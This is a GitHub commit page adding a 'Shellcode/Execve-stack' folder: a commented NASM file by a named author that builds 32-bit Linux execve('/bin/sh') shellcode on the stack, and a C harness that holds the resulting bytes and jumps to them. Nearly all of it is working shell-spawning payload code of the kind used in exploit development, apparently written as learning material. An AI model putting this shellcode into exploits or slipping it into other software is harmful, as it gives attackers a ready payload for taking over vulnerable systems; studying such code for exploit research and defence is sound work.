Skip to content

Commit fc2f44b

Browse files
Add files via upload
1 parent 46f8928 commit fc2f44b

File tree

5 files changed

+55
-0
lines changed

5 files changed

+55
-0
lines changed

Shellcode/Execve-stack/Execve-stack

536 Bytes
Binary file not shown.
+39
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
; Execve-stack.nasm
2+
; Author: Kunal Varudkar
3+
4+
; Purpose: Developing /bin/sh shellcode using stack
5+
6+
7+
global _start
8+
9+
section .text
10+
11+
_start:
12+
13+
14+
; push Null dword on the stack
15+
xor eax, eax
16+
push eax
17+
18+
; push //bin/sh in reverse order to stack (strlen=even)
19+
push 0x68732f6e
20+
push 0x69622f2f
21+
22+
; Moving //bin/sh to ebx register
23+
mov ebx, esp
24+
25+
; push Null on stack
26+
push eax
27+
28+
; pointing esp to edx (envp[]=NULL)
29+
mov edx, esp
30+
31+
; push the address of //bin/sh stored in ebx
32+
push ebx
33+
34+
; point the top tof the stack to ECX[argv[]]
35+
mov ecx, esp
36+
37+
; call syscall
38+
mov al, 0xb ; or 11
39+
int 0x80

Shellcode/Execve-stack/Execve-stack.o

480 Bytes
Binary file not shown.

Shellcode/Execve-stack/test_shellcode

7.27 KB
Binary file not shown.
+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
#include<stdio.h>
2+
#include<string.h>
3+
4+
unsigned char code[] = \
5+
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
6+
7+
8+
main()
9+
{
10+
11+
printf("Shellcode Length= %d\n", strlen(code));
12+
int (*ret)() = ( int (*)())code;
13+
14+
ret();
15+
16+
}

0 commit comments

Comments
 (0)